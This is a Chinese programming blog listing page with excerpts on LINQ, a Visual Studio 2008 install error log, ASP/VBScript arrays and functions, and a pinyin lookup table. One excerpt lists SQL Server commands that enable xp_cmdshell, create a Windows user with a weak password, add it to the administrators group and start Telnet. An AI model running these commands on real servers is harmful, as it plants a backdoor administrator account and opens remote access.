基本概念LINQ,语言集成查询(Language INtegrated Query)是一组用于c#和Visual Basic语言的扩展。它允许编写C#或者Visual Basic代码以查询数据库相同的方式操作内存数据。从技术角度而言,LINQ定义了大约40个查询操作符,如select、from、in、 where以及orderby(C#)中。试用这些操作可以编写查询语句。不过,这些查询还可以基于很多类型的数据,每个数据类型都需要一个单独的 LINQ类型。经过了最近 20 年,面向对象编程技术( object-oriented (OO) programming technologies )在工业领域的应用已经进入了一个稳定的发展阶段。程序员现在都已经认同像 类(classes)、对象(objects)、方法(methods)这样的语言特性。考察现在和下一代的技术,一个新的编程技术的重大挑战开始呈现出来,即面向对象技术诞生以来并没有解决降低访问和整合信息数据( accessing and integrating information )的复杂度的问题。其中两个最主要访问的数据源与数据库( database )和 XML 相关。LINQ 提供了一条更常规的途径即给 .Net Framework 添加一些可以应用于所有信息源( all sources of information )的具有多种用途( general-purpose )的语法查询特性( query facilities ),这是比向开发语言和运行时( runtime )添加一些关系数据( relational )特性或者类似 XML 特性( XML-specific )更好的方式。这些语法特性就叫做 .NET Language Integrated Query (LINQ) 。包含 DLinq 和 XLinq[编辑本段]基础知识1. LINQ的读法:(1)lin k (2)lin q2. LINQ的关键词:from, select, in, where, group by, order by …3. LINQ的注意点:必须以select或者是group by 结束。4. LINQ的语义:from 临时变量 in 集合对象或数据库对象where 条件表达式[order by条件]select 临时变量中被查询的值[group by 条件]LINQ的查询返回值的类型是临时变量的类型,可能是一个对象也可能是一个集合。并且LINQ 的查询表达式是在最近一次创建对象时才被编译的。LINQ的查询一般跟var关键字一起联用 (什么是var?匿名对象) 。5. LINQ的全称:Language-Integrated Query6. LINQ的分类:LINQ to Object, […]
View Details下载了VS2008,结果在安装时总是失败,检查日志,提示:[11/22/07,18:04:40] Microsoft .NET Framework 2.0a: [2] Error: Installation failed for component Microsoft .NET Framework 2.0a. MSI returned error code 1603[11/22/07,18:05:13] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0a is not installed.[11/22/07,18:26:27] Microsoft .NET Framework 2.0a: [2] Error: Installation failed for component Microsoft .NET Framework 2.0a. MSI returned error code 1603[11/22/07,18:26:57] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0a is not installed.[11/22/07,18:49:56] Microsoft .NET Framework 2.0a: [2] Error: Installation failed for component Microsoft .NET Framework 2.0a. MSI returned error code 1603[11/22/07,18:50:28] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0a […]
View Details--打开xp_cmdshellexec sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; use master;xp_cmdshell 'dir c:';go --添加windows用户:xp_cmdshell 'net user awen /add'; --设置好密码:xp_cmdshell 'net user awen password'; --提升到管理员:xp_cmdshell 'net localgroup administrators awen /add'; --开启telnet服务:xp_cmdshell 'net start tlntsvr'
View Details在ASP编程中使用数组 数组的定义Dim MyArrayMyArray = Array(1,5,123,12,98) 可扩展数组Dim MyArray()for i = 0 to 10ReDim Preserve MyArray(i)MyArray(i)=inext 将一个字符串分割并返回分割结果的数组Dim MyArrayMyArray = Split(tempcnt,chr(13)&chr(10))For I = Lbound(MyArray) to Ubound(MyArray) Response.Write MyArray(I) & "<br>"Next 数组排序函数function..Sort(ary) KeepChecking = TRUE Do Until KeepChecking = FALSE KeepChecking = FALSE For I = 0 to UBound(ary) If I = UBound(ary) Then Exit For If ary(I) > ary(I+1) Then FirstValue = ary(I) SecondValue = ary(I+1) ary(I) = SecondValue ary(I+1) = FirstValue KeepChecking = TRUE End If Next Loop Sort = ary End function.. 数组排序函数应用例子Dim MyArray MyArray = Array(1,5,123,12,98)MyArray = Sort(MyArray) […]
View DetailsArray() FUNCTION: 返回一个数组 SYNTAX: Array(list) ARGUMENTS: 字符,数字均可 EXAMPLE: <% Dim myArray() For i = 1 to 7 Redim Preserve myArray(i) myArray(i) = WeekdayName(i) Next %> RESULT: 建立了一个包含7个元素的数组myArray myArray("Sunday","Monday", … … "Saturday") CInt() FUNCTION: 将一个表达式转化为数字类型 SYNTAX: CInt(expression) ARGUMENTS: 任何有效的字符均可 EXAMPLE: <% f = "234" response.write cINT(f) + 2 %> RESULT: 236 转化字符"234"为数字"234",如果字符串为空,则返回0值 CreateObject() FUNCTION: 建立和返回一个已注册的ACTIVEX组件的实例。 SYNTAX: CreateObject(objName) ARGUMENTS: objName 是任何一个有效、已注册的ACTIVEX组件的名字. EXAMPLE: <% Set con = Server.CreateObject("ADODB.Connection") %> RESULT: CStr() FUNCTION: 转化一个表达式为字符串. SYNTAX: CStr(expression) ARGUMENTS: expression 是任何有效的表达式。 EXAMPLE: <% s = 3 + 2 response.write "The result is: " & cStr(s) %> RESULT: 转化数字“5”为字符“5”。 Date() FUNCTION: 返回当前系统日期. SYNTAX: Date() ARGUMENTS: None. EXAMPLE: <%=Date%> RESULT: 8/4/99 DateAdd() FUNCTION: 返回一个被改变了的日期。 SYNTAX: DateAdd(timeinterval,number,date) ARGUMENTS: timeinterval is the time interval to add; number is amount of time intervals to add; and date is the starting date. EXAMPLE: <% currentDate = […]
View Details很多问题都是因为中文问题造成的 如文件名最好别用中文 现在的解决方法一般是产生一个ID,将这个ID做文件名 网页上如果url带汉字也经常出错 现在的解决方法一般用urlencode编码 现在用了这个转化,就好多了 原理,使用Dictionary技术1.添加索引2.遍历词典 <%Set d = CreateObject("Scripting.Dictionary")d.add "a",-20319d.add "ai",-20317d.add "an",-20304d.add "ang",-20295d.add "ao",-20292d.add "ba",-20283d.add "bai",-20265d.add "ban",-20257d.add "bang",-20242d.add "bao",-20230d.add "bei",-20051d.add "ben",-20036d.add "beng",-20032d.add "bi",-20026d.add "bian",-20002d.add "biao",-19990d.add "bie",-19986d.add "bin",-19982d.add "bing",-19976d.add "bo",-19805d.add "bu",-19784d.add "ca",-19775d.add "cai",-19774d.add "can",-19763d.add "cang",-19756d.add "cao",-19751d.add "ce",-19746d.add "ceng",-19741d.add "cha",-19739d.add "chai",-19728d.add "chan",-19725d.add "chang",-19715d.add "chao",-19540d.add "che",-19531d.add "chen",-19525d.add "cheng",-19515d.add "chi",-19500d.add "chong",-19484d.add "chou",-19479d.add "chu",-19467d.add "chuai",-19289d.add "chuan",-19288d.add "chuang",-19281d.add "chui",-19275d.add "chun",-19270d.add "chuo",-19263d.add "ci",-19261d.add "cong",-19249d.add "cou",-19243d.add "cu",-19242d.add "cuan",-19238d.add "cui",-19235d.add "cun",-19227d.add "cuo",-19224d.add "da",-19218d.add "dai",-19212d.add "dan",-19038d.add "dang",-19023d.add "dao",-19018d.add "de",-19006d.add "deng",-19003d.add "di",-18996d.add "dian",-18977d.add "diao",-18961d.add "die",-18952d.add "ding",-18783d.add "diu",-18774d.add "dong",-18773d.add "dou",-18763d.add "du",-18756d.add "duan",-18741d.add "dui",-18735d.add "dun",-18731d.add "duo",-18722d.add "e",-18710d.add "en",-18697d.add "er",-18696d.add […]
View DetailsA 定义数组 有两种方式:DIM和REDIM。 DIM定义的是固定个数、数据类型的数组;而REDIM则不同,它可以定义不同类型的数据,也可以定义个数并非固定的数据。比较下面几个例子。 都合法的例子: 程序代码 Dim myarray(5,2) Redim myarray(5,2) 前者错误而后者合法的例子: n=10 n=10 Dim myarray(n) Redim myarray(n,2)另外REDIM还可以定义未定类型的数组,如:Redim myarray(10) B 数组个数 在以DIM或REDIM定义数组时指定的下标,表示的是访问该数组时所容许的最大下标,却不是该数组的个数。实际上,一维数组个数总是等于(最大下标+1),访问时是通过下标从0开始逐个访问的。 比如:Dim myarray(5) 定义的数组元素有6个,分别是:myarray(0)、myarray(1)、myarray(2)、myarray(3)、myarray(4)、myarray(5)。 再如:Redim thisarray(2,5)实际上定义了一个(2+1)*(5+1)=1 8的二维数组。 既然如此,那么,可不可义定义一个只有一个元素的数组呢?答案是:不可以。 如前所说,Redim thisarray(1)定义的数组实际上有(1+1)个数组元素,但类似于: Redim thisarray(0)的语法,错误的。所以,不能定义一个只有一个数组元素的数组。 其实,以上说的只是其默认状况。其实,定义数组可以通过定义下标的起止从而达到定义数组的个数甚至下标的起止编号的。比如:Redim thisarray(1980 to1990)就 定义了一个含有11个元素的数组,下标从1980到1990。 C 关于UBOUND函数 UBOUND返回的是一维数组的最大下标,而不是元素个数。 比如:Dim Myarray(5),那么UBOUND(Myarray)返回的值是5,而不是6。 UBOUND也可以应用于二维数组。应用于二维数组时,它返回的是第一个下标的最大值。 比如:Dim Myarray(6,3), 那么UBOUND(Myarray)返回的值是6,而不是7,更不是18(6*3=18)。 若要返回第二个下标的最大值,则使用:UBOUND(Myarray,2)。 与UBOUND相对应的是另外一个函数:LBOUND,它返回数组的最小下标。与UBOUND类似,LBOUND(Myarray,2)则返回数组MYARRAY的第二个下标的最小值。所以,准确地说,一维数组Myarray的元素个数为:UBOUND(Myarray)-LBOUND(Myarray)+1,而二维数组的元素个数则为: (UBOUND(Myarray)-LBOUND(Myarray)+1)*(UBOUND(Myarray,2)-LBOUND(Myarray,2)+1) 多维数组依此类推。 数组的定义 程序代码 Dim MyArrayMyArray = Array(1,5,123,12,98) 可扩展数组 程序代码 Dim MyArray()for i = 0 to 10ReDim Preserve MyArray(i)MyArray(i)=inext 将一个字符串分割并返回分割结果的数组 程序代码 Dim MyArrayMyArray = Split(tempcnt,chr(13)&chr(10))For I = Lbound(MyArray) to Ubound(MyArray)Response.Write MyArray(I) & "<br>"Next 数组排序函数 程序代码 Function […]
View Details